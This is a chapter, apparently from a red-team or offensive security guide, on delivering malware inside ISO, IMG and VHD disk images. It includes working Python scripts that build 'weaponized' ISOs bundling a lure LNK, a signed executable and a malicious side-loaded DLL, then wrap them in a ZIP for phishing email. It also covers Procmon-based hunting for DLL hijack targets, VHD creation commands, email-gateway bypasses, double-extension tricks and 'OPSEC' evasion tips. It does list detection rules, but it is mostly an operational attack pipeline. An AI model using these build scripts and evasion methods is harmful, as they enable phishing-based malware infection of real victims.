Chapter 18

ISO / IMG / VHD Delivery

Disk image containers — ISO, IMG, and VHD files — became dominant delivery mechanisms in 2022 after the macro blocking change. The original attraction was a real MOTW bypass: files inside a mounted ISO historically did not inherit the Zone.Identifier ADS from the container, allowing unsigned executables and LNK files to run without SmartScreen warnings. This chapter explains how each container format works, why the MOTW bypass happens at the filesystem driver level, how to build weaponized containers with Python, how to combine containers with LNK and DLL side-loading, and how defenders detect each approach.

Mark of the Web — How It Works

Before diving into containers, you need to understand exactly how MOTW is implemented — because the bypass only makes sense in terms of the implementation detail:

Mark of the Web (MOTW) implementation
  When you download a file via a browser (Chrome, Edge, Firefox):
  ──────────────────────────────────────────────────────────────────────────
  1. Browser saves the file to disk (e.g., %Downloads%\invoice.zip)
  2. Browser writes a Zone.Identifier ADS (Alternate Data Stream) to the file:
       invoice.zip:Zone.Identifier
       Content:
         [ZoneTransfer]
         ZoneId=3
         ReferrerUrl=https://malicious.example.com/
         HostUrl=https://malicious.example.com/invoice.zip
  3. ZoneId=3 means "Internet Zone" (untrusted)
  4. When Windows tries to execute a file, it checks the Zone.Identifier:
       • ZoneId=3 → MOTW is present → mark as untrusted
       → SmartScreen reputation check (for executables)
       → Protected View (for Office documents)
       → Macro blocking (for Office files)
       → "Open File" security warning (for any executable)

  Propagation from containers (the bypass):
  ──────────────────────────────────────────────────────────────────────────
  ZIP file (before Aug 2022 patch):
    invoice.zip has Zone.Identifier with ZoneId=3 ✓
    Files extracted from invoice.zip: some may inherit MOTW, some may not
    → Windows propagates MOTW to extracted files in most cases
    → Mostly not useful for bypass

  ISO file (before Aug 2022 patch):
    invoice.iso has Zone.Identifier with ZoneId=3 ✓
    User double-clicks ISO → Windows mounts it as a virtual drive
    Files INSIDE the mounted ISO: NO Zone.Identifier ← THE BYPASS
    The ISO filesystem (ISO9660/UDF) is a different filesystem driver
    that doesn't propagate ADS from the host file to the mounted contents
    → Executables and LNK files inside run without MOTW warnings

  Status in 2024:
  ──────────────────────────────────────────────────────────────────────────
  Microsoft patched MOTW propagation for ISO/IMG/VHD in Windows 10/11
  via KB5016616 (August 2022 Patch Tuesday).
  Patched behavior: files inside mounted ISO now inherit MOTW from the ISO.
  
  BUT: The patch is not uniformly applied:
    • Older Windows 10 builds without the patch → still bypasses
    • Windows 7/8.1 (extended support customers) → still bypasses
    • Some edge cases in newer builds with third-party mounting software
  
  Result: The bypass reliability dropped significantly after Aug 2022,
  but ISO/IMG/VHD remain useful as container delivery formats because
  they're supported by Windows natively (no software needed) and
  email gateways historically have had poor inspection of their contents.

ISO9660 Format Internals

ISO files follow the ISO 9660 standard (also called CD-ROM File System). Understanding the format lets you build them programmatically without relying on external tools:

ISO9660 file structure
  ISO9660 on-disk layout:
  ──────────────────────────────────────────────────────────────────────────
  Sector 0–15   (bytes 0x0000–0x7FFF):  System Area (unused, can contain data)
  Sector 16     (bytes 0x8000–0x87FF):  Primary Volume Descriptor (PVD)
  Sector 17     (bytes 0x8800–0x8FFF):  Volume Descriptor Set Terminator
  Sectors 18+:                          Root directory record
                                        Files (each aligned to 2048-byte sectors)

  Primary Volume Descriptor (2048 bytes):
  ──────────────────────────────────────────────────────────────────────────
  Offset 0:   Volume Descriptor Type = 0x01 (Primary)
  Offset 1-5: Standard Identifier = "CD001"
  Offset 6:   Version = 1
  Offset 40:  System Identifier (32 bytes)
  Offset 72:  Volume Identifier (32 bytes) ← friendly name shown in Explorer
  Offset 80:  Volume Space Size (8 bytes, both-endian)
  Offset 120: Volume Set Size (4 bytes, both-endian)
  Offset 124: Volume Sequence Number (4 bytes)
  Offset 128: Logical Block Size = 0x0800 (2048, both-endian)
  Offset 132: Path Table Size (8 bytes)
  Offset 140: Location of Type-L Path Table (4 bytes little-endian)
  Offset 156: Directory Record for Root Directory (34 bytes)
  
  Directory Record structure (variable size, minimum 34 bytes):
  Offset 0:   Length of Directory Record
  Offset 1:   Extended Attribute Record Length (usually 0)
  Offset 2:   Location of Extent (LBA, 8 bytes both-endian)
  Offset 10:  Data Length (8 bytes both-endian)
  Offset 18:  Recording Date and Time (7 bytes)
  Offset 25:  File Flags (1 byte): bit 1 = directory
  Offset 32:  File Identifier Length
  Offset 33:  File Identifier (filename)

Building ISO files from scratch in Python is possible but complex. The practical approach uses the pycdlib library or the system mkisofs/genisoimage command:

"""
Build a weaponized ISO file using pycdlib.
pip install pycdlib
"""
import pycdlib
import os

def create_weaponized_iso(
    output_iso_path: str,
    files_to_include: list,   # list of (source_path, iso_path) tuples
    volume_label: str = "INVOICE_2024"
):
    """
    Creates an ISO9660 file containing the specified files.

    files_to_include: [
        (r"C:\path\to\Invoice.pdf", "/INVOICE.PDF;1"),        # decoy document
        (r"C:\path\to\payload.lnk", "/INVOICE2024.LNK;1"),   # weaponized LNK
        (r"C:\path\to\legit_signed.exe", "/VIEWER.EXE;1"),    # signed binary
        (r"C:\path\to\malicious.dll", "/VERSION.DLL;1"),      # side-loaded DLL
    ]
    """
    iso = pycdlib.PyCdlib()
    iso.new(
        interchange_level=4,   # Allow long filenames (Joliet or level 4)
        joliet=3,              # Joliet extension for Windows long filename support
        rock_ridge='1.09',    # Rock Ridge (optional, Linux compat)
        vol_ident=volume_label,
        sys_ident='WINDOWS'
    )

    for src_path, iso_path in files_to_include:
        with open(src_path, 'rb') as f:
            file_data = f.read()

        # Add file to ISO using joliet path for Windows long name support
        iso.add_fp(
            fp=None,
            length=len(file_data),
            iso_path=iso_path,
            joliet_path=f'/{"" if iso_path.startswith("/") else ""}{os.path.basename(src_path)}'
        )

    iso.write(output_iso_path)
    iso.close()
    print(f"Created ISO: {output_iso_path}")
    print(f"  Files: {[t[1] for t in files_to_include]}")
    print(f"  Volume label: {volume_label}")

# More practical: use mkisofs/genisoimage via subprocess
import subprocess

def create_iso_via_mkisofs(output_path, source_dir, volume_label="Invoice"):
    """
    Use mkisofs (installed via cdrtools or on Linux/macOS).
    Most flexible, supports all edge cases.
    """
    cmd = [
        'mkisofs',
        '-o', output_path,
        '-J',                     # Joliet (Windows long filenames)
        '-r',                     # Rock Ridge (Unix compat)
        '-V', volume_label,       # Volume label shown in Explorer
        '-quiet',
        source_dir                # Directory whose contents go in the ISO
    ]
    subprocess.run(cmd, check=True)
    print(f"ISO created: {output_path} (source: {source_dir})")

ISO + DLL Side-Loading — The Full Chain

The most effective ISO delivery chain in 2022–2024 combines three elements: a legitimate signed executable, a malicious DLL that gets side-loaded, and an LNK that auto-runs the signed EXE. The victim sees a credible signed binary and never touches an unsigned executable:

ISO + DLL side-load chain — complete anatomy
  Delivery email:
  ┌─────────────────────────────────────────────────────────────────────────┐
  │ Attachment: Invoice_2024_Q1_Review.zip                                 │
  │ (ZIP contains the ISO — gateway may skip .iso inspection but .zip      │
  │  is always scanned; outer ZIP adds a layer of "expected attachment")   │
  └─────────────────────────────────────────────────────────────────────────┘
         ↓ Victim downloads and extracts ZIP
  ┌─────────────────────────────────────────────────────────────────────────┐
  │ Invoice_2024_Q1_Review.iso                                             │
  └─────────────────────────────────────────────────────────────────────────┘
         ↓ Victim double-clicks ISO → Windows mounts it as drive Z:\
  ┌─────────────────────────────────────────────────────────────────────────┐
  │ Z:\ (mounted ISO contents)                                             │
  │  ├── Invoice_2024_Q1_Review.lnk      ← victim clicks this             │
  │  │   [target: Z:\Viewer\DocViewer.exe, no args]                        │
  │  ├── Viewer\                                                            │
  │  │   ├── DocViewer.exe    ← legitimate signed binary from vendor X     │
  │  │   └── version.dll      ← MALICIOUS — side-loaded by DocViewer.exe  │
  │  └── readme.txt           ← "Double-click the file above to open"     │
  └─────────────────────────────────────────────────────────────────────────┘
         ↓ LNK runs DocViewer.exe
         ↓ DocViewer.exe loads version.dll from its own directory (DLL search order)
         ↓ version.dll DllMain: decrypts shellcode → VirtualAlloc → CreateThread → beacon

  Why this chain is effective:
  ─────────────────────────────────────────────────────────────────────────────
  • No macro: VBA/XLM blocking bypassed
  • No unsigned EXE: victim ran a signed, legitimate binary
  • No PowerShell: no -EncodedCommand pattern
  • No cmd.exe: parent chain is explorer.exe → DocViewer.exe (normal)
  • DLL is on disk but: (a) encrypted/obfuscated, (b) signed parent context
  • Single click from victim: LNK auto-runs everything
  • Detection now on: Sysmon 7 (DLL load signature), EDR memory analysis

Finding DLL Side-Loading Candidates

The technique requires finding a signed, trusted executable that loads a DLL from a relative path (not an absolute system path). The Process Monitor approach:

Process Monitor filter to find side-load opportunities:

Filter settings:
  Operation: Load Image
  Path:      ends with .dll
  Result:    NAME NOT FOUND

Interpretation: A "NAME NOT FOUND" result on a DLL load means the executable
tried to load a DLL from a relative path (DLL search order), and the DLL
wasn't there. If you put YOUR DLL there with the exact name, it gets loaded.

Best candidates:
  • Vendor software installers (they're signed, they run from a local path)
  • Old versions of legitimate software (older DLL handling is less strict)
  • Electron apps (they frequently load DLLs from their own directory)
  • Games / creative software (less security-hardened than enterprise software)

Using Procmon:
  1. Open Process Monitor as admin
  2. Set filter: Operation="Load Image", Result="NAME NOT FOUND"
  3. Run the target executable
  4. Look for entries where Process= the target EXE, Path= a DLL in its directory
  5. That DLL name is your hijack opportunity

Verification steps:
  a. Create a test.dll with DllMain that writes to a log file
  b. Place test.dll with the hijacked name in the EXE directory
  c. Run the EXE — if the log file appears, the hijack works
  d. Rename test.dll to your malicious DLL

VHD and VHDX Containers

VHD (Virtual Hard Disk) and VHDX files are another mounting-based container. Windows can mount them natively (double-click or right-click → Mount). They offer a slightly different delivery profile than ISO:

ISO vs VHD/IMG comparison for delivery
  Container │ Extension │ Native mount  │ Max size  │ File system inside │ MOTW bypass
  ──────────┼───────────┼───────────────┼───────────┼────────────────────┼──────────────
  ISO       │ .iso      │ Win 8+ built-in│ 4GB(ISO9660)│ ISO9660 / UDF    │ Pre-Aug2022
  IMG       │ .img      │ Win 10+ built-in│ No limit │ FAT32 / NTFS      │ Pre-Aug2022
  VHD       │ .vhd      │ Win 7+ built-in│ 2TB       │ FAT32 / NTFS      │ Pre-Aug2022
  VHDX      │ .vhdx     │ Win 8+ built-in│ 64TB      │ FAT32 / NTFS      │ Pre-Aug2022
  ──────────┼───────────┼───────────────┼───────────┼────────────────────┼──────────────

  VHD advantages over ISO:
  • Supports NTFS inside → ADS (Alternate Data Streams) possible in content
  • Supports files larger than 4GB per file (ISO9660 limit is 4GB)
  • More convincing as an installer distribution format ("full disk image")
  
  ISO advantages over VHD:
  • More common in legitimate use (software installers, bootable media)
  • Smaller overhead (ISO9660 is compact; VHD has virtual disk overhead)
  • More widely handled by email gateways (less likely to be stripped)

  Creating a VHD programmatically:
  ─────────────────────────────────────────────────────────────────────────
  Windows: use diskpart commands or PowerShell:
    New-VHD -Path C:\evil.vhd -SizeBytes 50MB -Fixed
    Mount-VHD -Path C:\evil.vhd
    # Then format and copy files to the mounted drive
    Dismount-VHD -Path C:\evil.vhd

  Linux: use qemu-img:
    qemu-img create -f vpc payload.vhd 50M
    mkfs.vfat -F 32 payload.vhd   (or use a loop device)
    mount -o loop payload.vhd /mnt/vhd
    cp malicious_lnk.lnk signed_exe.exe malicious.dll /mnt/vhd/
    umount /mnt/vhd

Autorun.inf — Old Trick, Still Educational

ISO and disk images historically supported autorun.inf — a configuration file that tells Windows to auto-run an executable when the disk is inserted. Autorun was disabled for optical drives in Windows 7 (KB971029) and USB drives in Windows 8, but understanding it explains why modern ISOs use LNK instead:

# autorun.inf (does NOT auto-execute on modern Windows — educational only)
# Included in ISOs to understand what defenders look for

[AutoRun]
open=setup.exe           ; would auto-execute setup.exe (disabled since Win7)
icon=setup.exe,0         ; icon for the drive when it appears in Explorer
label=Invoice Software   ; friendly name for the drive
action=Open Invoice      ; text shown in AutoPlay dialog

# In Windows 7+, AutoPlay still shows a dialog but does not auto-execute.
# The dialog asks the user what to do with the mounted drive.
# If the victim selects "Open folder to view files" → they see your LNK.
# The LNK is the actual trigger — autorun.inf is just cosmetic.

Complete Build Script — Weaponized ISO from Scratch

"""
Full pipeline: create a weaponized ISO delivery package.
Directory structure created, then ISO built via mkisofs or pycdlib.
"""
import os
import shutil
import subprocess
import struct

def build_weaponized_iso_package(
    output_iso: str,
    lnk_file: str,          # pre-created .lnk pointing to the signed EXE
    signed_exe: str,        # legitimate signed binary (side-load target)
    malicious_dll: str,     # your DLL with payload in DllMain
    decoy_doc: str,         # PDF or docx shown to user after click
    volume_label: str = "Invoice_Q1_2024"
):
    """
    Builds ISO containing:
      Invoice.lnk → runs Viewer/DocViewer.exe
      Viewer/DocViewer.exe → legitimate signed binary
      Viewer/version.dll → malicious side-loaded DLL
      Invoice.pdf → decoy document (opened by LNK)
    """
    build_dir = "/tmp/iso_build"
    os.makedirs(f"{build_dir}/Viewer", exist_ok=True)

    # Copy files into build directory
    shutil.copy(lnk_file, f"{build_dir}/Invoice_2024_Q1.lnk")
    shutil.copy(signed_exe, f"{build_dir}/Viewer/DocViewer.exe")
    shutil.copy(malicious_dll, f"{build_dir}/Viewer/version.dll")
    shutil.copy(decoy_doc, f"{build_dir}/Invoice_2024_Q1.pdf")

    # Optional: add readme to increase legitimacy
    with open(f"{build_dir}/README.txt", 'w') as f:
        f.write("To open the invoice, double-click Invoice_2024_Q1.lnk\n")

    # Build ISO using mkisofs
    cmd = [
        'mkisofs',
        '-o', output_iso,
        '-J',                        # Joliet (Windows long filenames)
        '-r',                        # Rock Ridge
        '-V', volume_label,          # Volume label
        '-quiet',
        '-allow-lowercase',          # Allow lowercase filenames
        build_dir
    ]
    subprocess.run(cmd, check=True)

    # Cleanup build directory
    shutil.rmtree(build_dir)

    size_mb = os.path.getsize(output_iso) / (1024*1024)
    print(f"ISO created: {output_iso} ({size_mb:.1f} MB)")
    print(f"Contents:")
    print(f"  Invoice_2024_Q1.lnk   → triggers Viewer/DocViewer.exe")
    print(f"  Viewer/DocViewer.exe  → signed legitimate binary")
    print(f"  Viewer/version.dll    → malicious side-load DLL")
    print(f"  Invoice_2024_Q1.pdf   → decoy document")
    print(f"  README.txt            → legitimacy")

# Then wrap in ZIP for email delivery:
def wrap_in_zip(iso_path, output_zip):
    import zipfile
    with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.write(iso_path, os.path.basename(iso_path))
    print(f"Wrapped: {output_zip}")

# Full pipeline call:
# build_weaponized_iso_package(
#     output_iso="Invoice_Q1_2024.iso",
#     lnk_file="invoice.lnk",
#     signed_exe="DocViewer.exe",   # pre-acquired legitimate binary
#     malicious_dll="version.dll",  # your payload DLL
#     decoy_doc="real_invoice.pdf"
# )
# wrap_in_zip("Invoice_Q1_2024.iso", "Invoice_Q1_2024.zip")

Detection Footprint

ISO/container delivery detection events
  Event                                     │ Sysmon ID │ Triggered by
  ──────────────────────────────────────────┼───────────┼────────────────────────────────
  ZIP/ISO downloaded                        │ 11 (file) │ Browser download to disk
  ISO mounted → virtual drive appears       │ 11 (file) │ Files inside become accessible
  LNK executed from mounted drive           │ 1 (proc)  │ explorer.exe → LNK target
  Signed EXE spawned from mounted path      │ 1 (proc)  │ explorer.exe → DocViewer.exe
  version.dll loaded into signed EXE        │ 7 (DLL)   │ DLL load event — anomalous path
  DllMain: VirtualAlloc(RWX) in signed EXE │ EDR       │ Memory allocation in signed process
  DllMain: CreateThread in signed EXE      │ EDR       │ Thread at unbacked address
  Beacon beacon check-in                   │ 3 (net)   │ Signed EXE → outbound HTTPS

  Detection rules for this chain:
  ──────────────────────────────────────────────────────────────────────────────────────
  • Sysmon 7: DLL loaded from a path on a removable/virtual drive (e.g., D:\, E:\)
    (mounted ISOs appear as removable drives with non-C drive letters)
  • Sysmon 7: version.dll loaded from a non-system path (not C:\Windows\System32)
    Most legitimate version.dll loads come from System32; non-system path = suspicious
  • Sysmon 1: process started from a non-local drive (Z:\, E:\, D:\) by explorer.exe
  • EDR: signed process with no prior network activity suddenly calling VirtualAlloc(RWX)

  OPSEC improvements:
  ──────────────────────────────────────────────────────────────────────────────────────
  • Use a DLL name other than version.dll (it's heavily signatured now)
    Better candidates: wer.dll, dbghelp.dll (check target software's dependencies)
  • Ensure the signed EXE legitimately tries to load that DLL name
  • Encrypt DLL payload so disk scan doesn't detect shellcode
  • Add sleep/environment checks in DllMain before executing payload

Questions & Answers

Why didn't Microsoft fix the MOTW ISO bypass earlier — it seems like an obvious flaw?

The delay reflects a trade-off between security and backwards compatibility. ISO mounting is a filesystem-level operation handled by the Windows virtual CD/DVD driver (cdrom.sys / iso.sys). Adding MOTW propagation requires: (1) the filesystem driver to communicate the zone information to the virtual volume manager; (2) all file access from the mounted drive to check back against the original file's zone data. This is a meaningful architectural change to the I/O stack — not a simple registry key. Microsoft introduced the change in KB5016616 (August 2022) after sustained exploitation made the trade-off unavoidable. Even after the patch, the implementation is incomplete: some container formats (7-Zip archives, for example) still don't propagate MOTW when files are extracted, because 7-Zip doesn't use the Windows Shell APIs that apply zone marking.

What makes version.dll a good DLL side-loading target — and why is it overused?

version.dll (the Windows Version Information API) is a common side-loading target because a huge number of legitimate applications try to load it from their own directory first (before the system directory) due to how DLL search order works by default. The DLL is small (the exports are simple version-checking functions), and many benign applications include custom version.dll files with their own version resources. However, version.dll has been so widely used in red team operations and by malware families (BazarLoader, SILENTTRINITY, various APT tooling) that EDRs and detection tools specifically watch for non-system version.dll loads. The broader lesson: common side-loading DLL names get burned quickly. Finding your own target via Process Monitor is better than reusing known-good names.

Can email gateways strip ISO files the same way they strip executables?

Some can and do — it depends on the gateway configuration. Microsoft 365 Defender for Office (formerly ATP) added ISO blocking as a configurable option in 2022 specifically because of the explosion in ISO phishing. ProofPoint, Mimecast, and other enterprise gateways similarly added ISO filtering policies. However: (1) not all organizations enable it; (2) password-protected ZIPs containing the ISO bypass content inspection (the gateway can't read inside the encrypted ZIP); (3) cloud storage links (OneDrive, SharePoint, WeTransfer) bypass email gateway scanning entirely — the link passes through, the file is downloaded via browser. The evade-the-gateway-entirely approach (send a link instead of an attachment) is often more reliable than trying to sneak through the attachment scanner.

How does Windows decide which drive letter to assign to a mounted ISO?

Windows assigns the next available drive letter in alphabetical order, starting from D: (after the system drive C:). The actual letter assigned depends on what drives are already present on the system. On a laptop with only C: (internal drive) and potentially a mapped network drive, an ISO typically mounts as D: or E:. This matters for LNK files: if the LNK hardcodes a path like D:\Viewer\DocViewer.exe and the ISO mounts as E: instead, the LNK target won't be found. The solution: don't hardcode drive letters. Use the LNK relative path feature (.\Viewer\DocViewer.exe relative to the LNK's location) or, for the initial trigger, use a relative path that Explorer resolves from the LNK's own location on the mounted drive.

Is the double-extension trick (Invoice.pdf.lnk showing as Invoice.pdf) still reliable?

Partially. Windows hides known file extensions by default (a setting in Explorer → Folder Options → "Hide extensions for known file types"). With this default setting, "Invoice.pdf.lnk" displays as "Invoice.pdf" and shows the LNK icon (which you set to the PDF icon). The deception works against users who haven't turned on "show file extensions." However: (1) Windows 11 updated the default Explorer view to be somewhat more transparent about file types; (2) the right-click → Properties always shows the actual extension; (3) email clients often show the full filename with extension. The trick remains viable in practice because most home and corporate users leave the "hide extensions" default in place, but it's not a reliable technical control — it's a social engineering aid, not a bypass.